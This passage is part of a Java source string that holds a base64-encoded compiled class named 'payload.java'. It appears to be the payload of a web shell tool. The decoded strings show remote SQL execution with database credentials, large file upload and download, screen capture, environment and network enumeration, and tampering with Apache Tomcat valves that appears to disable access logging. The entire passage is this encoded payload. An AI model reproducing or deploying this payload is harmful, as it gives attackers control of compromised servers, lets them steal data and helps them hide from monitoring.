\"OiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoA\" +\n \"AQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVu\" +\n \"dAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01h\" +\n \"cDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZh\" +\n \"L3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVy\" +\n \"YXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2lj\" +\n \"c0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJh\" +\n \"dG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGph\" +\n \"dmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQAN\" +\n \"Z2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAF\" +\n \"d2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUB\" +\n \"ADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVq\" +\n \"YXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylM\" +\n \"amF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVy\" +\n \"ZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2Jv\" +\n \"dAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEA\" +\n \"CkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJu\" +\n \"YW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPf\" +\n \"AQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3Jh\" +\n \"Y2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAV\" +\n \"Y29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAF\" +\n \"bXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9E\" +\n \"YXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11\" +\n \"dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRi\" +\n \"YzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRi\" +\n \"YzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9s\" +\n \"YW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2\" +\n \"ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3Nx\" +\n \"bC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1\" +\n \"dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3Vs\" +\n \"dFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3Fs\" +\n \"L1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUK\" +\n \"AAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoE\" +\n \"OwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZm\" +\n \"ZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhv\" +\n \"c3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZk\" +\n \"YkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNl\" +\n \"dAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1u\" +\n \"TnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBv\" +\n \"c2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMB\" +\n \"AAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoE\" +\n \"YAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFk\" +\n \"Qnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGph\" +\n \"dmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARz\" +\n \"a2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAO\" +\n \"cG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3Jp\" +\n \"Z2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYo\" +\n \"SUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwAT\" +\n \"CASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSr\" +\n \"DASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFu\" +\n \"Zy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5\" +\n \"cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilW\" +\n \"CgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3Fs\" +\n \"L0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATU\" +\n \"BNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rp\" +\n \"b247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEA\" +\n \"GUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3Nx\" +\n \"bC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2\" +\n \"YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJl\" +\n \"c3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAV\" +\n \"KClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEA\" +\n \"BmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNl\" +\n \"OwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1l\" +\n \"dGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJl\" +\n \"dE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3Ry\" +\n \"aW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZh\" +\n \"L2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9k\" +\n \"CgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcv\" +\n \"U3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmlu\" +\n \"ZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFy\" +\n \"ZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25k\" +\n \"aXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9\" +\n \"KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9u\" +\n \"Q29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1\" +\n \"dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2Vu\" +\n \"ZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQAD\" +\n \"ZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFu\" +\n \"Zy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVu\" +\n \"aXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGlu\" +\n \"Z3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhACEAAQADAAAAEwAZAAUABgAAAAAABwAIAAAAAAAJ\" +\n \"AAgAAAAAAAoACwAAAAAADAALAAAAAAANAAsAAAAAAA4ADwAAAAAAEAARAAAACAASABMAAQAUAAAAAAAIABUAEwABABQAAAAAAAgA\" +\n \"FgATAAEAFAAAAAAACAAXABMAAQAUAAAAAAAIABgAEwABABQAAAAAAAgAGQATAAEAFAAAAAAACAAaABMAAQAUAAAAAAAIABsAEwAB\" +\n \"ABQAAAAAAAgAHAATAAEAFAAAAAAACAAdABMAAQAUAAAAAAAIAB4AEwABABQAAAAAADUACAAfACAAAQAhAAABtgAEAAAAAAGCEEC8\" +\n \"BVkDEEFVWQQQQlVZBRBDVVkGEERVWQcQRVVZCBBGVVkQBhBHVVkQBxBIVVkQCBBJVVkQCRBKVVkQChBLVVkQCxBMVVkQDBBNVVkQ\" +\n \"DRBOVVkQDhBPVVkQDxBQVVkQEBBRVVkQERBSVVkQEhBTVVkQExBUVVkQFBBVVVkQFRBWVVkQFhBXVVkQFxBYVVkQGBBZVVkQGRBa\" +\n \"VVkQGhBhVVkQGxBiVVkQHBBjVVkQHRBkVVkQHhBlVVkQHxBmVVkQIBBnVVkQIRBoVVkQIhBpVVkQIxBqVVkQJBBrVVkQJRBsVVkQ\" +\n \"JhBtVVkQJxBuVVkQKBBvVVkQKRBwVVkQKhBxVVkQKxByVVkQLBBzVVkQLRB0VVkQLhB1VVkQLxB2VVkQMBB3VVkQMRB4VVkQMhB5\" +\n \"VVkQMxB6VVkQNBAwVVkQNRAxVVkQNhAyVVkQNxAzVVkQOBA0VVkQORA1VVkQOhA2VVkQOxA3VVkQPBA4VVkQPRA5VVkQPhArVVkQ\" +\n \"PxAvVbMAIrEAAAACACQAAAAaAAYAAAA7AFsAPADZAD0BVwA+AX4AOwGBAD4AJQAAAAIAAAABACYAIAABACEAAABCAAMAAQAAABAq\" +\n \"twAnKrsAKVm3ACu1ACyxAAAAAgAkAAAADgADAAAAMwAEAD8ADwA1ACUAAAAMAAEAAAAQAC4ALwAAAAEAJgAwAAEAIQAAAE0AAwAC\" +\n \"AAAAESortwAxKrsAKVm3ACu1ACyxAAAAAgAkAAAADgADAAAAOAAFAD8AEAA5ACUAAAAWAAIAAAARAC4ALwAAAAAAEQAzADQAAQAB\" +\n \"ADUANgABACEAAAA9AAQAAgAAAAkqKwMrvrcAN7AAAAACACQAAAAGAAEAAABIACUAAAAWAAIAAAAJAC4ALwAAAAAACQA7AA8AAQAB\" +\n \"ADwAPQABACEAAAIzAAMABgAAAPsqEj62AEBMKhJEtgBATSzGAMIrxwBHKrYARiwBtgBMTi22AFKyAFdZxwAcVxJZuABaWbMAV6cA\" +\n \"D7sAXlpftgBgtwBmv7YAaZkADS0qAbYAbcAAcbAScrYAdLAqtAB5K7YAe8AATU4txgBkLbYAfjoEGQQqtAAstgCCVxkEtgCGVyq0\" +\n \"ACwSibYAezoFGQXGADqyAFdZxwAcVxJZuABaWbMAV6cAD7sAXlpftgBgtwBmvxkFtgBGtgBpmQAJGQXAAHGwEou2AHSwA7wIsBKN\" +\n \"tgB0sBKPtgB0sEy7AJFZtwCTTbsAlFkstwCWTisttgCZLbYAnS22AKAstgCjsAAJACwAMQA4AKYAmACdAKQApgAAAFMA1wBhAFQA\" +\n \"WQDXAGEAWgDAANcAYQDBAMYA1wBhAMcAygDXAGEAywDQANcAYQDRANYA1wBhAAIAJAAAAHIAHAAAAE0ABwBOAA4ATwASAFAAFgBR\" +\n \"ACAAUgBKAFMAVABVAFoAWABmAFkAagBaAHAAWwB6AFwAgABdAIsAXgCQAF8AuwBgAMEAYgDHAGUAywBoANEAbADXAG4A2ABvAOAA\" +\n \"cADpAHEA7gByAPIAcwD2AHQAJQAAAGYACgAAAPsALgAvAAAABwDQAKgAqQABAA4AyQBFAKkAAgAgADoAqgCrAAMAZgBrAKwAEwAD\" +\n \"AHAAWwCtAAsABACLAEAArgALAAUA2AAjAK8AsAABAOAAGwCxABEAAgDpABIAsgCzAAMAAQC0ACAAAQAhAAACAgAGAAsAAADwKrQA\" +\n \"LLYAtSq0ACwSuCq0AHm2ALlXKrQALBK9KrQAvrYAuVcqtAAsEsAqtADBtgC5Vyq0ACwSwyq0AMS2ALlXKrQAxky7AMhZK7cAyk27\" +\n \"AJFZtwCTTgE6BAe8CDoFAToGuwDNWSy3AM86BxkHtgDSkTYIFQgCoAAGpwBlFQgFoABWuwB1WS22AKO3ANg6BBkHGQW2ANlXGQW4\" +\n \"AN42CRUJvAg6BgM2ChUKGQcZBhUKGQa+FQpktgDhYFk2ChkGvqH/6Cq0ACwZBBkGtgC5Vy22AOSn/5ktFQi2AOen/5AttgDrLLYA\" +\n \"7BkHtgDtpwAFOgexAAEAYADqAO0A7gACACQAAACCACAAAAB6AAcAfAAVAH0AIwB+ADEAfwA/AIEARACDAE0AhQBVAIcAWACIAF0A\" +\n \"iQBgAIsAagCNAHIAjgB4AI8AewCRAIEAkgCOAJQAlgCWAJ0AmACjAJoApgCcAMEAngDNAKAA0QChANQAogDaAIwA3QCmAOEApwDl\" +\n \"AKgA6gCpAO8ArgAlAAAAcAALAAAA8AAuAC8AAABEAKwA8AAPAAEATQCjAPEA8gACAFUAmwDzABEAAwBYAJgA9ACpAAQAXQCTAPUA\" +\n \"DwAFAGAAkAD2AA8ABgBqAIAA9wD4AAcAcgBoAPkA+gAIAJ0ANAD7APwACQCmACsA/QD8AAoAAQCEAIUAAQAhAAAAWAACAAIAAAAY\" +\n \"K8YAFSortgD+mQANKiq0AMG3AQEErAOsAAAAAgAkAAAAEgAEAAAAsQAMALIAFACzABYAtQAlAAAAFgACAAAAGAAuAC8AAAAAABgB\" +\n \"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\" +\n \"AAoAAAKnKhMBaLYAQEwrxgKXK7YBaky7AHVZtwFtTbsBblm3AXC7AXFZK7cBc7YBdLYBeBMBfLYBfrYBgToEuwFxWRkEtwFzOgUZ\" +\n \"BbYBgpkCMxkFtgGGOga7AW5ZLLgBircBjhMBZbYBfrYBgU27AW5ZLLgBircBjhMBj7YBfrYBgU27AW5ZLLgBircBjhkEtgF+tgGB\" +\n \"TbsBblksuAGKtwGOEwGPtgF+tgGBTRkGxgHzAzYIpwHDGQYVCDJOuwFuWSy4AYq3AY4ttgGRtgF+tgGBTbsBblksuAGKtwGOEwGU\" +\n \"tgF+tgGBTbsBblksuAGKtwGOLbYBlpkACRMBmacABhMBm7YBfrYBgU27AW5ZLLgBircBjhMBlLYBfrYBgU27AW5ZLLgBircBjrsB\" +\n \"nVkTAZ+3AaG7AaJZLbYBpLcBqLYBq7YBfrYBgU27AW5ZLLgBircBjhMBlLYBfrYBgU27AW5ZLLgBircBji22AbCIuAGztgF+tgGB\" +\n \"TbsBblksuAGKtwGOEwGUtgF+tgGBTbsBblkttgG4mQAJEwG7pwAGEwG9uAGKtwGOLbYBv5kACRMBwqcABhMBvbYBfiqyAcRZxwAd\" +\n \"VxMBxrgAWlmzAcSnAA+7AF5aX7YAYLcAZr8TAcgBtgEoxgAWLbYBypkACRMBzKcADBMBvacABhMBvbYBfrYBgToHuwFuWSy4AYq3\" +\n \"AY4ZB8YADhkHtgFqtgHOmgAJEwHQpwAFGQe2AX62AYFNuwFuWSy4AYq3AY4TAY+2AX62AYFNpwAxOgm7AW5ZLLgBircBjhkJtgBg\" +\n \"tgF+tgGBTbsBblksuAGKtwGOEwGPtgF+tgGBTYQIARUIGQa+of47pwAiEwHStgB0sDoEEwHUBL0AR1kDGQS2AGBTuAE1tgB0sCy2\" +\n \"AHSwEwHWtgB0sAADAb0BwwHKAKYAtwI9AkAA7gAZAoICgwDuAAIAJAAAAK4AKwAAAVMACAFUAAwBVQARAVYAGQFZADkBWgBEAVsA\" +\n \"TAFcAFMBXgBoAV8AfQFgAJEBYQCmAWIAqwFjALEBZAC3AWYAzQFnAOIBaAEEAWkBGQFqAS4BawE/AWoBQwFsAVgBbQFyAW4BhwFv\" +\n \"AbQBcAHgAXEB8wFyAfYBcAH5AW8B/gFzAigBdAI9AXUCQgF2AlkBdwJuAWMCeQF7AnwBfAKDAX4ChQF/ApsBgQKgAYMAJQAAAHAA\" +\n \"CwAAAqcALgAvAAAACAKfAWkAqQABABkChwHYAKkAAgC3AboB2QHaAAMAOQJKAdsAqQAEAEQCPwHcAdoABQBTAiYB3QHeAAYB/gBC\" +\n \"Ad8AqQAHAK4BywHgAPwACAJCACwArwFhAAkChQAWAK8BYQAEAAEB4QBlAAEAIQAAAKkAAwAEAAAASbgB4ky7AHVZtwFtTQM+pwAz\" +\n 